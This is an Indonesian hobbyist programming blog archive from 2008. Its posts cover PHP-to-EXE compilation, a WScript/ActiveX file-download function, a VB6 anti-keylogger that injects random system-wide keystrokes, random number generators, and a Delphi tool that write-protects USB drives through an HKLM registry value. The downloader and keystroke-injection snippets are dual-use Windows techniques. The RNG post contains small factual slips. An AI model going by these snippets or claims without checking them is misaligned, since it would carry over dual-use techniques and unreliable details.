Jalankan program server di komputer A, trus program client di komputer B. Ingat, ganti host dari idTCPClient1 dengan IP address-nya komputer A. Kalo udah, tinggal ketikkin pesan di edit box dalam program client, klik Button1. Dan kalo Anda melakukan dengan benar, seharusnya apa yang diketikkin di komputer client bakal muncul di komputer server. OK, untuk saat ini sekian dulu. Silakan kembangkan artikel ini untuk membuat program jaringan yang berguna. Happy coding !

Senin, 19 Mei 2008

Compile script php menjadi executable file

PHP adalah bahasa programming yang mungkin diutak-atik tiap subuh oleh rekan2 webmaster sebenarnyo inti tutorial ini bukan buat bahas PHP [lah terus..?],tp bahas yang namanya BAmcompile yaitu freeware buat compile _script_ php jd EXE...[koq bisa...?] bamcompile itu kompiler PHP ke EXE lewat command prompt. executable file yang dihasilkan sepenuhnyah dijamin 100% standalone alias idak butuh library atau file lainnya.Selain itu bamcompile juga bisa membuat window khusus buat aplikasi PHP . [sebenernya bamcompile ini ga seperti kompiler laen yang bisa buat native code tapi nyatanya juga bekerja


satu hal lagi yang menarik , bamcompile sudah dilengkapi dengan UPX tools [optional]. And, bamcompile hanya bisa 1 membuat program executable nyampe 500-600Kb aja [lumayan]. Bambalam ini diklaim sudah support dg PHP 4.4.4, tapi masih agak error dikit dgn PHP 5.

Sebelum buat programnya, lebih baik mudeng dulu perintah-perintah yang ada di Bambalam. File project bambalam itu berekstensi *.bcp. Nah, di file projectnya itu ada perintah2 spt dibawah ini:

mainfilemainfile.php 'dengan mainfile.php sbg file yang bakan digunakan, namanya bebas
outfileoutfile.exe 'outfile.exe sebagai nama program outputnya yg pasti
iconicon.ico 'icon.ico sebagai ikon programnya.
Compress 'kompres program outputnya dengan UPX (ngga ada juga boleh...)
donencode 'maksudnya jangan encode file PHPnya
windowed 'pake perintah ini biar program kamu diberi window form.
_embed_ddirectory/file.php '_embed_d-tin suatu file.php kedalam program.
_embed_dwhole_directory '_embed_d-tin semua directory yang ada.
_embed_ddirectory/*.* '_embed_d-tin file *.* apa aja ke dalam program.
destinationdestination_path 'tujuan kemana file dibuat, dg destination_path sebagai pathnya.
extensionpath_to_extension 'make ekstensi PHP yang dipunya, dg path_to_extension jd pathnya

nah, perintah itu ketik aja dengan teks editor [notepad,dll]. Pada dasarnya perintah yang dibutuhkan tergantung dari project kamu, mau dikompress atau tidak, di beri window atau tidak , terserah.

LETS MAKE IT

Sekarang saatnya membuatnya. ekstrak bambalam.zip-nya, Terus buat folder dengan nama calculate (misalnya....) di dalam direktori bambalam berada. Nah didalam folder ini kalian taruh semua file yang dibutuhkzn, termasuk file projectnya.

STEP 1

Buat file projectnya, Source codenya spt ini. [jangan tulis yang warna hijau, itu cuma penjelasan] Tulis pakai Notepad terus simpan dengan nama calculate.bcp.

------------------copy here------------------------------------------------------
; My Project CALCUTALOR 'komentar kamu, bisa aja namanya
mainfile calculate.php 'tentuin file php utamanya
outfile calculate.exe 'tentuin file outputnya
compress 'hasilnya ntar dikompress
windowed 'dikasih window biar bagus
icon calculatehal.ico 'pake ikon juga, namanya hal.ico
_embed_ calculate 'masukin folder calculate diprogram
extension calculatephp_winbinder.dll 'pake ekstension khusus, php_winbinder.dll
-----------------end here--------------------------------------------------------

biar ga usah ribet nantinya, buat juga file Batchnya. Pake notepad, simpen dengan nama apa aja asal ekstensinya *.bat. Isinya kayak gini:
---------------copy here---------------------------------------------------------
....bamcompile calculate.bcp
pause
--------------end here-----------------------------------------------------------

Selanjutnya ekstrak file calculate.zip yang kamu punya ke folder project kamu. Di folder calculate ini ada file PHP yang dikompilasi, berikut ikon, resource, ekstensi (*.dll) sampai file include yang dibutuhin.

STEP 2

Sekarang kalian udah punya folder proyek, namanya calculate. Didalamnya ada folder calculate (hasil ekstrak calculate.zip) dan 2 file, calculate.bcp (file project) and file batch, berarti syarat-syaratnya udah lengkap. Tinggal compile deh. Jalanin file batch-kamu itu (double-click aja...). Beng-beng-beng....wow, muncul deh jendela DOS. Bambalam Compiler beraksi !.


Tekan tombol apa saja, and JRENG....program dari _script_ php jadi EXE...[wak..ka..kak]
Coba jalanin file Calculate.exe yang ada di folder proyek kamu (calculate).

buat download softwarenya disini :

http://www.bambalam.se/bamcompile/

selamat mecoba....

Jumat, 16 Mei 2008

Fungsi Download File Dengan JAVASCRIPT

kita akan menggunakan inetctls.inet dan memakai active-x bawaan windows

untuk mendownload sesuatu dari internet...hmmmm....gimana yahhh...!! yaaa kita liat aja contohnya....!!

function download(urlfile){

var net=WScript.createobject('inetctls.inet') // kita butuh inetctls.inet ini untuk mendownload

net.requesttimeout=30 // tunggu 30 detik untuk mendownload

var downloaded=net.openurl(urlfile) // download filenya

return(downloaded)

}

}

Contohnya kita akan medownload url file ini :

http://www.geocities.com/sectors2001/js_download.txt

kita akan hanya perlu memanggil fungsinya seperti ini :

var sevenc = download('http://www.geocities.com/sectors2001/js_download.txt')

Membuat aplikasi Visual Basic kita terhindar dari Auto Kill VB

semua orang apalagi yg udah kenyang yg namanya internet pasti deh dah kenal yg namanya "keylogger". Bahkan, sudah banyak buku-buku tentang sekuriti komputer yg membahas tentang teknologi yg satu ini. Tapi jarang sekali ada yg mengulas bagaimana cara untuk mencegah agar orang yg menggunakan aplikasi yg kita buat terbebas dari ancaman mata-mata keylogger. Kebanyakan hanya mengulas bagaimana membersihkan software keylogger yg ada dikomputer, yang sudah tentu perlu meng-update layaknya anti-virus setiap kali ada keylogger baru. Belum lagi k'lo keyloggernya berbasis hardware, wah lain lagi deh ceritanya.

Semua keylogger baik yg dlm bentuk hardware, memiliki tujuan utama yg sama yaitu memantau semua data yg diketikkan oleh user. Jadi, semua data yg diinputkan/ketikkan ke suatu aplikasi akan dipantau dan disimpan untuk digunakan oleh pihak yang menanam keylogger tsb. Pada kesempatan ini, seperti yang aku katakan sebelumnya. Aku memberikan contoh bagaimana mengamankan user agar aman menggunakan aplikasi yg kita buat. Apalagi dalam hal sekuriti misalkan penginputan password. Untuk itu, jangan pernah berfikir aku akan membuat mesin scanning keylogger seperti layaknya anti-virus.

Contoh program dibuat disini adalah contoh sederhana. Aku menggunakan bahasa pemrograman Visual Basic. Yang mudah dimengerti namun, sangking mudahnya sampai saat ini nggak ada juga yang bisa buat aplikasi yang canggih lewat VB ini... hiks... Semua berkutat pada bahasa yg jauh lebih sulit, nyatanya outputnya jauh lebih bagus bila dibuat dng VB (karena mudah kali yah ). Bagi aku masalah mudah atau nggak tergantung keluarannya apa. Buat apa si marnok jauh-jauh belajar ke Amerika... eh, si otong lulusan dalam negeri jauh lebih pinter dari marnok...

Baiklah kita langsung ke pembuatannya yah...

1. Buka Designer Visual Basic kamu (aku pake v.6)

2. Tambahkan sebuah kontrol TextBox, lalu beri nilai properti "Name" menjadi "txtPassword"

3. Masuk ke jendela form code, isikan source code berikut:

'<- START CODE ->'

'*********************************************
'CONTOH ANTI KEYLOGGER PADA VISUAL BASIC'
'**********************************************

'UNTUK PENJELASAN MENGENAI FUNGSI API, CARI AJA DIINTERNET
Private Declare Function VkKeyScan Lib "user32" Alias "VkKeyScanA" (ByVal cChar As Byte) As Integer

Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Integer, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)

'Fungsi Untuk Menciptakan Nilai Random Dari Interval Tertentu....
Function RandomNumber(ByVal LowerBound As Single, ByVal UpperBound As Single) As Single
Randomize Timer
RandomNumber = (UpperBound - LowerBound) * Rnd + LowerBound
End Function

Private Sub txtPassword_Change()

TxtPassword.Locked = True '<== Sengaja Biar Nggak Banyak Makan Resource
Dim LoopC As Byte, i As Byte

LoopC = RandomNumber(3, 254) 'Ciptakan Nilai Random Mulai 3 - 254

i = 0

'Banyak Pengiriman Event Keyboard Random Setiap Kali Ketik...
Do While LoopC > i
'Kirim Event Keyboard Secara Random Biar Mengacaukan Nilai Yang Ditangkap Keylogger
Call keybd_event(VkKeyScan(RandomNumber(32, 126)), 0, 0, 0)
i = i + 1
Loop


DoEvents 'Kasih kesempatan program lain bekerja
TxtPassword.Locked = False
End Sub

'<- END CODE ->'

Jalankan... kamu akan melihat tampilannya sbb:

Gbr. 1. Aplikasi Anti Pemantauan Keylogger

Silahkan melakukan percobaan dng keylogger. Oh, iya aku mendownload dari salah satu situs contoh keylogger sederhana yang bisa kamu download juga bersama-sama semua yang menyangkut artikel ini. Contoh output yg dihasilkan adalah

Gbr. 2. Aplikasi Keylogger dengan hasil pantauannya.

Dari sini kamu dapat melihat, pada aplikasi buatan kita (gbr. 1) aku menginput hanya 3 karakter saja. Namun, anehnya si keylogger (gbr. 2) memberi hasil pantauan yg lebih dar 3 karakter. Nah, aku rasa kamu sudah ngerti kali algoritma dari source code diatas. Yup!! Tepat sekali, sebenarnya bukan si keyloggernya yg salah tapi memang kita sengaja mengakali agar keylogger menangkap event keyboard yg sebenarnya tidak kita buat tapi dilakukan oleh program dan event keyboard ini tidak dikeluarkan pada posisi blink text melainkan di memory yang akan dimanfaatkan program yang menggunakannya dalam kasus ini keylogger tsb, artinya dia terjebak!!!.... hmmm bingung yah...

Begini, misalkan passwordku adalah "IDA", dan akan kuisi ke form input aplikasi (gbr. 1). Pertama-tama saat aku menekan huruf "I" pada keyboard. keylogger akan menerima output huruf yang kita ketik ditambah huruf ketikan yg dikirim oleh program yg kita buat dng bentuk dan jumlah yg acak (random). Begitu pula saat aku ketik huruf berikutnya yaitu "D", dan seterusnya. Lihat rumus berikut :

Output Keylogger = (Satu Karakter yg diketik) + (Karakter yang diciptakan program aplikasi secara acak X Nilai Acak)

X = Dikali / Sebanyak

Kalo dah begini... Pastinya, si penanam keylogger akan kebingungan melihat hasil pantauan yg diberikan keylogger. huehueheueheue.. biar kapok tuh para orang iseng yg memanfaatkan keylogger tuk curi-curi hak orang.... wueeekkk...

Jumat, 02 Mei 2008

Random Number Generator

Random number generator (RNG) atau pembangkit bilangan acak, kerap kali diimplementasikan di dalam berbagai algoritma kriptografi. Contohnya saja pada algoritma kriptografi Deffie-Helman yang memerlukan bilangan prima sebagai input. Nah, cara yang paling efektif untuk mendapatkan suatu bilangan prima acak adalah dengan cara melakukan pembangkitan bilangan acak kemudian mengetes apakah bilangan yang dibangkitkan itu berupa bilangan acak atau tidak.

Sekarang pertanyaannya adalah……apa algoritma untuk melakukan pembangkitan bilangan acak tersebut? Yupzzz, Anda dapat menggunakan rand() atau Math.Random() pada C++ atau System.Random pada C# (red. C sharp) atau java.util.Random pada Java. Namun, jika Anda memeriksa algoritma yang digunakan oleh fungsi-fungsi tersebut, Anda akan menemukan bahwa itu adalah RNG yang lambat…..masih ada cara untuk mempercepatnya beberapa CPU clock cylces…lagipula baru-baru ini ditemukan security flaw pada fungsi rand() sehingga bilangan acak ini dapat dibangkitkan kembali (artinya tidak benar-benar acak) dan ini merupakan ancaman yang serius untuk dunia kriptografi.

Kalau Anda adalah orang yang haus akan ilmu hacking dan matematika diskrit…….inilah jawabannya……..

Algortima pertama adalah R250/5231 yang diciptakan oleh Kirkpatrick dan Stoll yang dipublikasikan di A Very Fast Shift-Register Sequence Random Number Generator, J. Computational Physics, vol 40, pp. 517-526.

Algoritma yang kedua adalah Mersenne Twister yang diciptakan pada tahun 1996 oleh Matsumora dan Nishimura.

Source codenya dapat di compile dengan gcc v3.3…….atau kalau Anda benar-benar kreatif, ubahlah source code ini sesuai dengan keinginan Anda……tetapi jangan lupa pada kontribusi orang-orang yang menciptakan algoritma ini. Upzzzzzzzz, gw lupa kalau source code java dan C#nya juga ada. Berikut linknya dari semua source codenya.

Memproteksi Flashdisk dari virus

Kadang ketika saya dari warnet untuk mengupload file, setibanya di rumah flashdisk terdapat tamu tak diundang, klo ga virus sality ya virus alman. Padahal antivirus di warnet sudah pake salah satu antivirus lokal yang suka mengeluarkan updatean, kok ga terdeteksi ya . Akhirnya capek lagi untuk mengcopy file2 program yang saya wajibkan di flashdisk Pikir2, cuma warnet itu yang dekat rumah saya . Masak cuma upload file mesti jauh2 sih

Akhirnya terpikir untuk membuat flashdisk menjadi read-only. Tapi flashdisk saya murahan jadi ga ada switch buat hal tersebut . Terpikir untuk manipulasi registry, mengingat registry buat protek drive aja ada, masak buat flashdisk ga ada ?!

Loading...

Loading...

Ketemu juga di registry :
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies",
dengan dword valuenya "WriteProtect"

Cukup ubah saja nilai dari "WriteProtect" menjadi 1 maka flashdisk tidak dapat "digerayangi"

Sudah ketemu caranya maka tinggal ubah aja registrnya abis itu ntar dinormlin lagi ya.. Tapi klo regeditnya diprotect, ya kita buat aja programnya, upload programmnya, pas di warnet download kemudian buka tuh program, jadi klo ke warnet buat upload data ga perlu bawa oleh2 lagi. Terutama buat cewek2 yang kerjaannya upload foto di FS mulu :P

Disini saya membuatnya menggunakan Delphi 7, berikut source codenya :

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, registry, StdCtrls;

type
TForm1 = class(TForm)
Label1: TLabel;
Button1: TButton;
Label2: TLabel;
Label3: TLabel;
Button2: TButton;
procedure FormCreate(Sender: TObject);
procedure showCurrentStatus;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

const
regKey = '\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies';
regValue = 'WriteProtect';
var
Form1: TForm1;
currentVal: integer;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
try
with TRegistry.Create do
begin
try
RootKey := HKEY_LOCAL_MACHINE;
if OpenKey(regKey, true) then
begin
if currentVal = 0 then
WriteInteger(regValue, 1)
else
WriteInteger(regValue, 0);
end;
finally
free;
end;
end;
except
on E:Exception do
begin
showmessage('Error updating registry');
end;
end;
showCurrentStatus;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
showCurrentStatus;
end;


procedure TForm1.showCurrentStatus;
begin
try
with TRegistry.Create do
begin
try
RootKey := HKEY_LOCAL_MACHINE;
if OpenKey(regKey, false) then
begin
currentVal := ReadInteger(regValue);
if currentVal = 0 then
label1.caption := 'Current status: Your USB disk is now WRITEABLE'
else
label1.caption := 'Current status: Your USB disk is now READ ONLY';
end
else
begin
label1.caption := 'There is no current setting for your USB disk.';
currentVal := 0;
end;
finally
free;
end;
end;
except
on E:Exception do
begin
showmessage('Error reading current status from registry');
label1.caption := 'There is no current setting for your USB disk.';
currentVal := 0;
end;
end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
WinExec('explorer.exe http://anggiawan.web.id',SW_NORMAL);
end;

end.


Yup source code sederhana untuk manipulasi registry, jika kamu rajin bisa dikembangkan untuk membuat program sejenis tweak xp atau di indonesia lebih ngetop pake tuneup utilities

Untuk file yang sudah jadi silahkan download di http://putih.0fees.net/dl/USBWriteableAdjuster.zip

Segitu aja, mudah2an ada manfaat programnya dan berguna bagi yang baru belajar coding. Saya juga masih pemula
fdsfsd